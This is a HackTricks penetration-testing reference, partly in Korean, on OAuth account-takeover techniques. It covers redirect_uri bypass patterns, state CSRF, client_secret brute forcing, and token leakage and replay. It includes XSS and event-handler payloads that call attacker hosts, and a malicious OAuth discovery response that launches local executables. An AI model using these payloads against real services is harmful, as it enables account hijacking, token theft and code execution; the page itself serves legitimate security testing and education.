OAuth to Account takeover
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.
Basic Information
OAuth offers various versions, with foundational insights accessible at OAuth 2.0 documentation. This discussion primarily centers on the widely used OAuth 2.0 authorization code grant type, providing an authorization framework that enables an application to access or perform actions on a user’s account in another application (the authorization server).
Consider a hypothetical website https://example.com, designed to showcase all your social media posts, including private ones. To achieve this, OAuth 2.0 is employed. https://example.com will request your permission to access your social media posts. Consequently, a consent screen will appear on https://socialmedia.com, outlining the permissions being requested and the developer making the request. Upon your authorization, https://example.com gains the ability to access your posts on your behalf.
It’s essential to grasp the following components within the OAuth 2.0 framework:
- resource owner: 당신(사용자/엔터티)으로서 소셜 미디어 계정의 게시물 같은 리소스에 대한 접근을 승인합니다.
- resource server: 애플리케이션이
access token을 대신 확보한 후 인증된 요청을 처리하는 서버, 예: https://socialmedia.com. - client application:
resource owner로부터 권한을 얻으려는 애플리케이션, 예: https://example.com. - authorization server:
resource owner의 인증과 권한 부여가 성공한 후client application에access tokens를 발급하는 서버, 예: https://socialmedia.com. - client_id: 애플리케이션의 공개적이고 고유한 식별자입니다.
- client_secret: 애플리케이션과 authorization server만 아는 비밀 키로,
access_tokens를 발급받을 때 사용됩니다. - response_type: 요청하는 토큰의 유형을 지정하는 값(예:
code). - scope:
client application이resource owner에게 요청하는 접근 권한의 범위입니다. - redirect_uri: 권한 부여 후 사용자가 리다이렉트되는 URL로, 일반적으로 사전에 등록된 리디렉션 URL과 일치해야 합니다.
- state: 사용자가 authorization server로 리디렉션 되었다가 돌아올 때의 데이터를 유지하기 위한 파라미터입니다. 고유성이 중요하며 CSRF 보호 메커니즘으로 사용됩니다.
- grant_type: 어떤 grant 타입인지, 반환될 토큰의 종류를 나타내는 파라미터입니다.
- code:
authorization server가 발급하는 권한 코드로,client_id와client_secret과 함께 사용되어access_token을 획득합니다. - access_token:
client application이resource owner를 대신해 API 요청에 사용하는 토큰입니다. - refresh_token: 사용자를 다시 프롬프트하지 않고 새로운
access_token을 얻을 수 있게 해줍니다.
Flow
The actual OAuth flow proceeds as follows:
- You navigate to https://example.com and select the “Integrate with Social Media” button.
- The site then sends a request to https://socialmedia.com asking for your authorization to let https://example.com’s application access your posts. The request is structured as:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- 그런 다음 consent 페이지가 표시됩니다.
- 귀하의 승인을 받은 후 Social Media가
redirect_uri로code및state파라미터를 포함한 응답을 보냅니다:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com는 이
code를 자체client_id와client_secret과 함께 사용하여 사용자 대신access_token을 얻기 위한 서버 측 요청을 수행하고, 당신이 동의한 권한에 대한 접근을 가능하게 합니다:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- 마지막으로, https://example.com이 여러분의
access_token을 사용해 Social Media에 API 호출을 하여 접근하는 것으로 프로세스가 마무리됩니다
취약점
열린 redirect_uri
Per RFC 6749 §3.1.2, authorization server는 브라우저를 오직 pre-registered, exact redirect URIs로만 리다이렉트해야 합니다. 이 부분의 약점은 공격자가 악성 authorization URL을 통해 피해자를 유도하게 하여 IdP가 피해자의 code(및 state)를 공격자 엔드포인트로 직접 전달하게 만들고, 공격자는 이를 교환하여 토큰을 수집할 수 있게 합니다.
전형적인 공격 흐름:
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback를 만들어 피해자에게 보냅니다.- 피해자가 인증하고 scopes를 승인합니다.
- IdP가
attacker.tld/callback?code=<victim-code>&state=...로 리다이렉트하고, 공격자는 요청을 기록한 뒤 즉시 그code를 교환합니다.
검증 취약점(점검 항목):
- No validation – 모든 절대 URL을 허용하여 즉시
code탈취가 발생합니다. - Weak substring/regex checks on the host –
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, 또는match.com@evil.com같은 유사 도메인으로 우회할 수 있습니다. - IDN homograph mismatches – 검증은 punycode 형태(
xn--)에서 이루어지지만, 브라우저는 공격자가 제어하는 유니코드 도메인으로 리다이렉트합니다. - Arbitrary paths on an allowed host –
redirect_uri를/openredirect?next=https://attacker.tld로 지정하거나 XSS/사용자 콘텐츠 엔드포인트로 지정하면 체인 리디렉션, Referer 헤더, 또는 삽입된 JavaScript를 통해code가 leaks 됩니다. - Directory constraints without normalization –
/oauth/*같은 패턴은/oauth/../anything으로 우회될 수 있습니다. - Wildcard subdomains –
*.example.com을 허용하면 dangling DNS, S3 bucket 등 어떤 takeover든 즉시 유효한 콜백을 제공합니다. - Non-HTTPS callbacks –
http://URI를 허용하면 네트워크 공격자(예: Wi‑Fi, corporate proxy)가 전송 중에code를 가로챌 기회를 줍니다.
또한 보조적인 redirect-style 파라미터들(client_uri, policy_uri, tos_uri, initiate_login_uri 등)과 OpenID discovery 문서(/.well-known/openid-configuration)를 검토하여 동일한 검증 버그를 상속할 수 있는 추가 엔드포인트가 있는지 확인하세요.
Redirect token leakage on allowlisted domains with attacker-controlled subpaths
redirect_uri를 “owned/first-party domains”로 고정해도, 허용된 도메인 중 어느 하나라도 attacker-controlled paths or execution contexts(legacy app platforms, user namespaces, CMS uploads 등)를 노출하면 소용이 없습니다. OAuth/federated login 흐름이 returns tokens in the URL(query 또는 hash)로 동작한다면 공격자는 다음을 수행할 수 있습니다:
- 정당한 흐름을 시작해 pre-token(예: multi-step Accounts Center/FXAuth 흐름의
etoken)을 발행합니다. - 피해자에게 allowlisted 도메인을
redirect_uri/base_uri로 설정하되next/path가 공격자 제어 네임스페이스(예:https://apps.facebook.com/<attacker_app>)를 가리키는 authorization URL을 보냅니다. - 피해자가 승인하면 IdP는 민감한 값들(
token,blob, codes 등)이 URL에 담긴 채 공격자 제어 경로로 리다이렉트합니다. - 해당 페이지의 JavaScript가
window.location을 읽어 도메인이 “trusted”임에도 불구하고 값들을 외부로 exfiltrate 합니다. - 캡처한 값을 downstream의 권한이 높은 엔드포인트에 재사용(replay)합니다. FXAuth 흐름의 예:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
리다이렉트 구현에서의 XSS
이 bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html에서 언급한 것처럼, 사용자가 인증한 후 리다이렉트 URL이 서버 응답에 반사되어 XSS에 취약할 수 있습니다. 테스트할 payload:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
OAuth 콜백 오류 페이지: 반사된 error_description, 신뢰된 출처 피싱, 및 인코딩된 state 유출
일부 OAuth 통합은 IdP가 브라우저를 리디렉트한 후 로그인 실패를 렌더링하기 위해 first-party 콜백 페이지를 사용합니다. 이 페이지들은 이미 신뢰된 출처에서 동작하며 종종 공격자가 제어하는 파라미터들(error, error_description, message, description, state 등)을 소비하기 때문에 가치가 높습니다.
- 엄격한 출력 인코딩 없이
error_description을 HTML에 반사하면 콜백이 신뢰된 출처 피싱 페이지로 바뀝니다.<script>가 필터링되더라도 HTML 인젝션으로 전체 실패 페이지를 스푸핑하고 피해자에게 공격자가 지정한 동작을 수행하도록 지시할 수 있습니다. - WAFs는 종종
onload/onerror같은 일반적인 핸들러를 기준으로 탐지합니다. 일반적인 페이로드가 차단될 경우, 방어자가 블랙리스트에 올리지 않았을 가능성이 있는 브라우저별 또는 드문 이벤트를 시도해보세요. 실용적 예로 Safari의onpagereveal은 악성 콜백 페이지가 Safari에서 표시될 때 실행될 수 있습니다:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
- Test self-referential payloads: 주입된 HTML/JS가 동일한 callback URL을 다시 열거나 다시 로드할 수 있다면, 렌더링마다 client-side resource exhaustion, 반복되는 팝업/탭, 또는 log flooding이 발생할 수 있습니다.
- Always decode opaque-looking
statevalues. 많은 구현에서 JSON이나 사용자 메타데이터를 Base64로 인코딩하고 그것이 “숨겨져 있다“고 가정합니다. Base64는 되돌릴 수 있으므로 callback URL은 이메일 주소, 테넌트 식별자, 리턴 경로, 또는 내부 워크플로 상태와 같은 PII를 leak할 수 있습니다. - Treat URL exposure as part of the bug: callback URL에 들어간 모든 것은 이후 브라우저 기록, reverse proxies, load balancers, 앱 로그, 모니터링 도구, 스크린샷, 그리고 페이지가 타사 리소스를 로드하면
Referer헤더 등에 나타날 수 있습니다.
Quick checks during testing:
- 성공 및 실패 OAuth callbacks을 모두 트리거하고 전체 URL과 렌더된 HTML을 캡처하십시오.
error_description,message및 유사 오류 필드를 평문, HTML, 이벤트 핸들러 페이로드로 변조하면서 callback을 재생해 보십시오.state를 Base64/URL-safe Base64로 디코드하고 서버 측에 남아 있어야 할 PII 또는 애플리케이션 상태가 포함되어 있는지 검사하십시오.- WAF가 표준 인라인 이벤트 XSS 프로브를 차단할 경우 Safari/WebKit에서 브라우저별 페이로드를 반복 테스트하십시오.
CSRF - Improper handling of state parameter
The state parameter is the Authorization Code flow CSRF token: the client must generate a 브라우저 인스턴스별 암호학적 무작위 값, persist it somewhere only that browser can read (cookie, local storage, etc.), send it in the authorization request, and reject any response that does not return the same value. Whenever the value is static, predictable, optional, or not tied to the user’s session, the attacker can finish their own OAuth flow, capture the final ?code= request (without sending it), and later coerce a victim browser into replaying that request so the victim account becomes linked to the attacker’s identity provider profile.
재생 패턴은 항상 다음과 같습니다:
- 공격자는 자신의 계정으로 IdP에 인증하고
code(및 모든state)를 포함한 마지막 리디렉트를 가로챕니다. - 그들은 해당 요청을 버리고 URL을 보관한 뒤, 링크, iframe, 자동 제출 폼 같은 CSRF primitive를 악용해 피해자 브라우저가 그 URL을 로드하도록 강제합니다.
- 클라이언트가
state를 강제하지 않으면 애플리케이션은 공격자의 인증 결과를 받아들이고 공격자를 피해자 앱 계정에 로그인시킵니다.
테스트 중 state 처리에 대한 실전 체크리스트:
- Missing
stateentirely – 해당 파라미터가 전혀 나타나지 않으면 로그인 전체가 CSRFable합니다. statenot required – 초기 요청에서state를 제거해 보세요; IdP가 여전히 클라이언트가 수락하는 코드를 발급한다면 방어는 opt-in입니다.- Returned
statenot validated – 응답의 값을 변조해 보세요 (Burp, MITM proxy). 불일치하는 값을 수락한다면 저장된 토큰이 비교되지 않는다는 뜻입니다. - Predictable or purely data-driven
state– 많은 앱이 리디렉트 경로나 JSON 블롭을 randomness를 섞지 않고state에 넣어 공격자가 유효 값을 추측해 흐름을 재생할 수 있게 합니다. 데이터를 인코딩하기 전에 항상 강력한 엔트로피를 앞뒤로 추가하세요. statefixation – 앱이 사용자가state값을 제공하도록 허용하고(예: 조작된 authorization URLs를 통해) 흐름 전체에서 재사용한다면 공격자는 알려진 값을 고정시키고 여러 피해자에 대해 재사용할 수 있습니다.
PKCE는 authorization code를 code verifier에 바인딩함으로써 state를 보완할 수 있지만(특히 public clients의 경우), 웹 클라이언트는 cross-user CSRF/account-linking 버그를 방지하기 위해 여전히 state를 추적해야 합니다.
Pre Account Takeover
- Without Email Verification on Account Creation: 공격자는 피해자의 이메일을 사용해 사전에 계정을 생성할 수 있습니다. 피해자가 이후 제3자 서비스를 통해 로그인하면 애플리케이션이 실수로 이 제3자 계정을 공격자가 미리 만든 계정과 연결시켜 무단 액세스가 발생할 수 있습니다.
- Exploiting Lax OAuth Email Verification: 공격자는 이메일을 확인하지 않는 OAuth 서비스를 악용해 해당 서비스에 가입한 후 계정 이메일을 피해자의 것으로 변경할 수 있습니다. 이 방법도 첫 번째 시나리오와 유사하게 무단 계정 접근 위험을 초래합니다.
Disclosure of Secrets
The client_id is intentionally public, but the client_secret must never be recoverable by end users. Authorization Code deployments that embed the secret in mobile APKs, desktop clients, or single-page apps effectively hand that credential to anyone who can download the package. Always inspect public clients by:
- APK/IPA, 데스크톱 설치 프로그램, 또는 Electron 앱을 언패킹하고
client_secret, JSON으로 디코드되는 Base64 블롭, 또는 하드코딩된 OAuth 엔드포인트를 grep 해보세요. - 번들된 구성 파일(plist, JSON, XML) 또는 디컴파일된 문자열에서 클라이언트 자격증명을 검토하세요.
공격자가 비밀을 추출하면 약한 redirect_uri, 로그 등으로 피해자의 authorization code를 훔쳐 /token을 직접 호출해 합법적 앱을 거치지 않고 access/refresh 토큰을 발급할 수 있습니다. 공개/네이티브 클라이언트는 비밀을 보관할 수 없는 것으로 취급해야 하며, 정적 비밀 대신 각 인스턴스의 code verifier 보유를 증명하기 위해 PKCE (RFC 7636)를 사용해야 합니다. 테스트 중에는 PKCE가 필수인지, 백엔드가 client_secret 또는 유효한 code_verifier를 생략한 토큰 교환을 실제로 거부하는지 확인하세요.
Client Secret Bruteforce
You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
클라이언트가 code와 state를 획득한 상태에서 이 값들이 location.href 또는 **document.referrer**에 노출되고 제3자에게 전달되면 leak. 반복해서 발견되는 두 가지 패턴:
- Classic Referer leak: OAuth 리다이렉트 이후 URL에
?code=&state=가 남아 있는 어떤 내비게이션도 이 값들을 CDN/analytics/ads로 전송되는 Referer 헤더에 밀어넣습니다. - Telemetry/analytics confused deputy: 일부 SDK(픽셀/JS 로거)는
postMessage이벤트에 반응하여 메시지에 포함된 토큰을 사용해 현재location.href/referrer를 백엔드 API로 전송합니다. 공격자가 해당 흐름에 자신의 토큰을 주입할 수 있다면(예: 공격자 제어의 postMessage 릴레이를 통해), 이후 SDK의 API 요청 히스토리/로그를 읽어 피해자의 OAuth artifacts가 포함된 요청을 복구할 수 있습니다.
Access Token Stored in Browser History
Authorization Code grant의 핵심 보장은 access tokens가 리소스 소유자의 브라우저에 절대 도달하지 않는다는 것입니다. 구현체가 토큰을 클라이언트 측으로 leak하면, 작은 버그(XSS, Referer leak, 프록시 로깅 등)도 즉시 계정 탈취로 이어집니다. 항상 다음을 확인하세요:
- Tokens in URLs –
access_token이 쿼리/프래그먼트에 나타나면 브라우저 히스토리, 서버 로그, analytics, 그리고 제3자에게 전송되는 Referer 헤더에 남습니다. - Tokens transiting untrusted middleboxes – 토큰을 HTTP로 반환하거나 디버깅/기업 프록시를 통해 전달하면 네트워크 관찰자가 이를 직접 캡처할 수 있습니다.
- Tokens stored in JavaScript state – React/Vue 스토어, 전역 변수, 직렬화된 JSON 블롭은 같은 오리진의 모든 스크립트(여기에는 XSS 페이로드나 악성 확장도 포함됨)에 토큰을 노출합니다.
- Tokens persisted in Web Storage –
localStorage/sessionStorage는 공유 장치에서 로그아웃 후에도 토큰을 오래 보존하며 스크립트로 접근 가능합니다.
이들 중 어느 하나라도 발견되면 일반적으로 CSP 우회나 DOM XSS 같은 “낮은” 심각도의 버그가 노출된 bearer 토큰을 단순히 읽고 재사용할 수 있기 때문에 전체 API takeover로 승격됩니다.
Everlasting Authorization Code
Authorization codes는 **짧은 수명, 단일 사용, 재생 방지(replay-aware)**여야 합니다. 흐름을 평가할 때는 code를 캡처한 후 다음을 테스트하세요:
- Test the lifetime – RFC 6749는 분 단위를 권고합니다(시간 단위 아님). 5–10분 후에 코드를 교환해 보세요; 여전히 작동하면 노출 윈도우가 과도합니다.
- Test sequential reuse – 같은
code를 두 번 전송해 보세요. 두 번째 요청에서 또 다른 토큰이 발급되면 공격자는 세션을 무기한 복제할 수 있습니다. - Test concurrent redemption/race conditions – 두 개의 토큰 요청을 병렬로 발사하세요(Burp intruder, turbo intruder 등). 약한 발급자는 둘 다 허용하는 경우가 있습니다.
- Observe replay handling – 재사용 시도는 단순히 실패해야 하는 것뿐만 아니라 그 코드로 이미 발급된 토큰들을 폐기(revoke)해야 합니다. 그렇지 않으면 재생이 감지되어도 공격자의 첫 번째 토큰은 유효하게 남습니다.
재생 가능(replay-friendly)한 코드와 어떤 redirect_uri 또는 로깅 버그를 결합하면 피해자가 정상 로그인을 완료한 이후에도 지속적인 계정 접근이 가능합니다.
Authorization/Refresh Token not bound to client
만약 authorization code를 얻어 다른 client/app으로 교환(redeem)할 수 있다면 다른 계정을 takeover할 수 있습니다. 약한 바인딩을 테스트하려면:
- app A에 대해 캡처한
code를 app B의 token endpoint로 전송해 보세요; 여전히 토큰을 받는다면 audience 바인딩이 깨진 것입니다. - 자체 client ID로만 제한되어야 하는 first-party 토큰 민팅 엔드포인트를 시도해 보세요; 만약 그들이 코드를 검증하면서 임의의
state/app_id를 수용한다면, 실질적으로 authorization-code swap을 통해 더 높은 권한의 first-party 토큰을 발급할 수 있습니다. - nonce/redirect URI 불일치를 무시하는 클라이언트 바인딩이 있는지 확인하세요. 오류 페이지가 여전히
location.href를 로깅하는 SDK를 로드하면 Referer/telemetry leaks와 결합해 코드를 훔쳐 다른 곳에서 교환할 수 있습니다.
code → token을 교환하는 모든 엔드포인트는 발급 클라이언트, redirect URI, nonce를 검증해야 합니다; 그렇지 않으면 어느 앱에서든 훔친 코드를 first-party access token으로 업그레이드할 수 있습니다.
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
이 버그 바운티 리포트(https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/)에서는 AWS Cognito가 사용자에게 반환하는 token이 사용자 데이터를 덮어쓸 만큼 충분한 권한을 가질 수 있음을 확인할 수 있습니다. 따라서 만약 다른 사용자의 이메일로 사용자 이메일을 변경할 수 있다면, 다른 계정들을 **탈취(take over)**할 수 있을 가능성이 있습니다.
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.
Abusing other Apps tokens
mentioned in this writeup에서 설명한 것처럼, token(코드가 아닌)을 받도록 설계된 OAuth 흐름은 그 token이 해당 앱에 속하는지 확인하지 않으면 취약할 수 있습니다.
이유는 attacker가 자신의 애플리케이션에 OAuth를 지원하고 Facebook으로 로그인하는 application을 만들고, 피해자가 그 attacker의 application에서 Facebook으로 로그인하면, attacker가 피해자에게 그 application으로 전달된 OAuth token을 얻어 피해자의 user token으로 피해자 OAuth application에 로그인할 수 있기 때문입니다.
Caution
따라서 attacker가 사용자를 자신의 OAuth application에 접근하게 만드는 데 성공하면, token을 기대하고 token이 자신들의 app ID에 부여되었는지 확인하지 않는 애플리케이션에서는 피해자의 계정을 takeover할 수 있습니다.
Two links & cookie
this writeup에 따르면, 피해자가 returnUrl을 attacker의 호스트로 가리키는 페이지를 열도록 만들 수 있었습니다. 이 정보는 **cookie (RU)**에 저장되며, 나중 단계에서 prompt가 사용자에게 해당 attacker 호스트에 접근 권한을 줄지 묻습니다.
이 prompt를 우회하기 위해, returnUrl로 RU cookie를 설정하는 Oauth flow를 시작하는 탭을 열고 prompt가 표시되기 전에 그 탭을 닫은 다음, 해당 값이 없는 새 탭을 열 수 있었습니다. 그러면 prompt는 attacker 호스트에 대해 알리지 않지만, cookie는 attacker 호스트로 설정되어 리디렉션 시 token이 attacker 호스트로 전송됩니다.
Prompt Interaction Bypass
this video에서 설명한 바와 같이, 일부 OAuth 구현은 GET 파라미터 prompt에 None(&prompt=none)을 지정하면 사용자가 이미 플랫폼에 로그인되어 있을 경우 웹상의 prompt로 확인을 요구하지 않도록 할 수 있습니다.
response_mode
explained in this video에서처럼, 최종 URL에서 코드를 어디에 제공할지 지정하기 위해 response_mode 파라미터를 사용할 수 있습니다:
response_mode=query-> 코드가 GET 파라미터로 제공됩니다:?code=2397rf3gu93fresponse_mode=fragment-> 코드가 URL fragment에 제공됩니다:#code=2397rf3gu93fresponse_mode=form_post-> 코드가code라는 이름의 입력을 가진 POST 폼으로 제공됩니다response_mode=web_message-> 코드가 post message로 전송됩니다:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
OAuth consent/login dialogs는 clickjacking에 매우 취약합니다: framing이 가능하면 attacker는 커스텀 그래픽을 오버레이하고 실제 버튼을 숨겨 사용자를 속여 위험한 scopes를 승인하거나 계정을 연결하게 만들 수 있습니다. PoC를 다음과 같이 구성하세요:
- IdP authorization URL을
<iframe sandbox="allow-forms allow-scripts allow-same-origin">내부에 로드합니다. - 절대 위치/투명도 트릭을 사용해 숨겨진 Allow/Approve 컨트롤과 가짜 버튼을 정렬합니다.
- 선택적으로 파라미터(scopes, redirect URI)를 미리 채워 도난당한 승인으로 attacker가 즉시 이득을 보게 합니다.
테스트 시 IdP 페이지가 X-Frame-Options: DENY/SAMEORIGIN 또는 제한적인 Content-Security-Policy: frame-ancestors 'none'를 발행하는지 확인하세요. 둘 다 없으면 NCC Group’s clickjacking PoC generator 같은 도구로 위험을 입증하고 피해자가 얼마나 쉽게 attacker의 app을 승인하는지 기록하세요. 추가 페이로드 아이디어는 Clickjacking을 참조하세요.
OAuth ROPC flow - 2 FA bypass
this blog post에 따르면, 이 흐름은 username과 password로 OAuth에 로그인할 수 있게 하는 OAuth 흐름입니다. 이 단순한 흐름 중에 사용자가 수행할 수 있는 모든 액션에 접근할 수 있는 token이 반환된다면, 해당 token을 사용해 2FA를 우회할 수 있습니다.
ATO on web page redirecting based on open redirect to referrer
이 blogpost는 referrer의 값을 기반으로 하는 open redirect를 악용해 OAuth로 ATO를 달성한 방법을 설명합니다. 공격 흐름은 다음과 같습니다:
- Victim이 attacker의 웹 페이지에 접근
- Victim이 악성 링크를 열고 opener가 추가 파라미터로
response_type=id_token,code&prompt=none를 사용하여 Google OAuth 흐름을 시작(참고: referrer로 attacker 웹사이트 사용) - Opener에서 provider가 victim을 승인한 뒤
redirect_uri파라미터(피해자 웹)로 30X 코드를 보내며, 이때 여전히 attacker 웹사이트가 referer로 남아 있음 - 피해자 웹사이트가 referrer를 기반으로 open redirect를 트리거하여 피해자를 attacker 웹사이트로 리다이렉트하고, **
response_type**이 **id_token,code**였기 때문에 코드가 URL의 fragment로 attacker에게 전송되어 attacker가 피해자 사이트에서 Google을 통해 계정을 takeover할 수 있게 됩니다.
SSRFs parameters
Check this research For further details of this technique.
OAuth의 Dynamic Client Registration은 덜 명백하지만 심각한 보안 벡터로, 특히 Server-Side Request Forgery (SSRF) 공격에 취약할 수 있습니다. 이 엔드포인트는 OAuth 서버가 client 애플리케이션에 관한 세부정보(공격에 이용될 수 있는 민감한 URL 포함)를 받게 합니다.
Key Points:
- Dynamic Client Registration은 종종
/register에 매핑되며client_name,client_secret,redirect_uris와 로고 또는 JSON Web Key Sets(JWKs)용 URL 같은 세부정보를 POST로 수락합니다. - 이 기능은 RFC7591 및 OpenID Connect Registration 1.0의 명세를 준수하며, SSRF에 취약할 수 있는 파라미터를 포함합니다.
- 등록 프로세스는 여러 방식으로 서버를 SSRF에 노출시킬 수 있습니다:
logo_uri: 클라이언트 애플리케이션 로고의 URL로 서버가 이를 가져오면 SSRF를 유발하거나 URL 처리가 잘못되면 XSS로 이어질 수 있습니다.jwks_uri: 클라이언트의 JWK 문서 URL로, 악의적으로 조작되면 서버가 공격자 제어의 서버로 아웃바운드 요청을 하게 할 수 있습니다.sector_identifier_uri:redirect_uris의 JSON 배열을 참조하며, 서버가 이를 가져오면 SSRF 기회를 생성할 수 있습니다.request_uris: 클라이언트의 허용된 request URI 목록으로, 서버가 권한 부여 시작 시 이들을 가져올 경우 악용될 수 있습니다.
Exploitation Strategy:
logo_uri,jwks_uri,sector_identifier_uri같은 파라미터에 악의적 URL을 넣어 새 클라이언트를 등록하면 SSRF를 유발할 수 있습니다.request_uris를 통한 직접 악용은 화이트리스트 제어로 완화될 수 있지만, 사전 등록된 attacker 제어의request_uri를 제공하면 권한 부여 단계에서 SSRF를 촉진할 수 있습니다.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
CVE-2025-6514에 대한 연구(Claude Desktop, Cursor, Windsurf 같은 mcp-remote 클라이언트에 영향)는 dynamic OAuth discovery가 클라이언트가 IdP 메타데이터를 운영체제에 그대로 전달할 때 RCE primitive가 될 수 있음을 보여줍니다. 원격 MCP 서버는 discovery 교환(/.well-known/openid-configuration 또는 어떤 메타데이터 RPC)이 진행되는 동안 attacker 제어의 authorization_endpoint를 반환할 수 있습니다. mcp-remote ≤0.1.15는 도착한 문자열을 시스템 URL 핸들러(start, open, xdg-open 등)로 호출했기 때문에 OS가 지원하는 어떤 scheme/path든지 로컬에서 실행되었습니다.
Attack workflow
- 데스크탑 에이전트를 악의적 MCP/OAuth 서버로 가리키게 합니다 (
npx mcp-remote https://evil). 에이전트는401과 함께 메타데이터를 수신합니다. - 서버가 다음과 같은 JSON으로 응답합니다:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- 클라이언트는 제공된 URI에 대해 OS handler를 실행합니다. Windows는
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."같은 페이로드를 허용하고; macOS/Linux는file:///Applications/Calculator.app/...또는 등록된 경우cmd://bash -lc '<payload>'같은 custom schemes도 허용합니다. - 이 동작은 사용자 상호작용 이전에 발생하므로, 클라이언트를 공격자 서버와 통신하도록 단순히 구성하는 것만으로도 코드 실행이 발생합니다.
테스트 방법
- HTTP(S)를 통해 discovery를 수행하고 반환된 엔드포인트를 로컬에서 여는 OAuth-capable 데스크톱/에이전트(예: Electron apps, CLI helpers, thick clients)를 대상으로 하세요.
- discovery 응답을 가로채거나 호스팅하고
authorization_endpoint,device_authorization_endpoint또는 유사한 필드를file://,cmd://, UNC 경로 또는 다른 위험한 스킴으로 교체하세요. - 클라이언트가 스킴/호스트를 검증하는지 관찰하세요. 검증이 없으면 사용자 컨텍스트에서 즉시 실행되어 취약점이 증명됩니다.
- 전체 공격 표면을 매핑하기 위해 다양한 스킴으로 반복 테스트하세요(예:
ms-excel:,data:text/html,, custom protocol handlers) — 크로스플랫폼 범위를 입증할 수 있습니다.
OAuth providers Race Conditions
If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.
Mutable Claims Attack
OAuth에서 sub 필드는 사용자를 고유하게 식별하지만 Authorization Server마다 형식이 다릅니다. 일부 클라이언트는 사용자 식별을 표준화하기 위해 이메일이나 사용자 핸들을 사용합니다. 그러나 이는 위험합니다:
- 일부 Authorization Server는 이러한 속성(예: email)이 불변으로 유지되는지를 보장하지 않습니다.
- 특정 구현에서는 — 예를 들어 “Login with Microsoft” — 클라이언트가 email 필드에 의존하는데, 이 필드는 Entra ID에서 사용자가 제어하며 검증되지 않습니다.
- 공격자는 자신의 Azure AD 조직(예: doyensectestorg)을 생성하고 이를 사용해 Microsoft 로그인을 수행함으로써 이를 악용할 수 있습니다.
- Object ID(sub에 저장됨)는 불변이고 안전하지만, mutable한 email 필드에 의존하면 계정 탈취가 가능해집니다(예: victim@gmail.com 같은 계정 탈취).
Client Confusion Attack
In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An attacker sets up a public website that uses Google’s OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the attacker’s site. If these users also have accounts on another vulnerable website that does not validate the token’s Client ID, the attacker can reuse the harvested tokens to impersonate the victims and take over their accounts.
Scope Upgrade Attack
The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the token’s details.
Redirect Scheme Hijacking
모바일 OAuth 구현에서는 앱이 Authorization Codes를 수신하기 위해 custom URI schemes를 사용합니다. 그러나 하나의 디바이스에서 여러 앱이 동일한 스킴을 등록할 수 있기 때문에, 오직 합법적인 클라이언트만이 redirect URI를 제어한다는 가정이 깨집니다. 예를 들어 Android에서는 com.example.app:// 같은 Intent URI가 스킴과 앱의 intent-filter에 정의된 선택적 필터를 기준으로 처리됩니다. Android의 intent 해석은—특히 스킴만 지정된 경우—광범위할 수 있으므로, 공격자는 정교하게 설계된 intent filter로 악성 앱을 등록해 authorization code를 가로챌 수 있습니다. 이는 여러 앱이 해당 intent를 처리할 수 있을 때의 사용자 상호작용을 통해 또는 Ostorlab의 assessment flowchart가 상세히 설명하는 우회 기법들을 통해 계정 탈취를 가능하게 할 수 있습니다.
References
- Leaking FXAuth token via allowlisted Meta domains
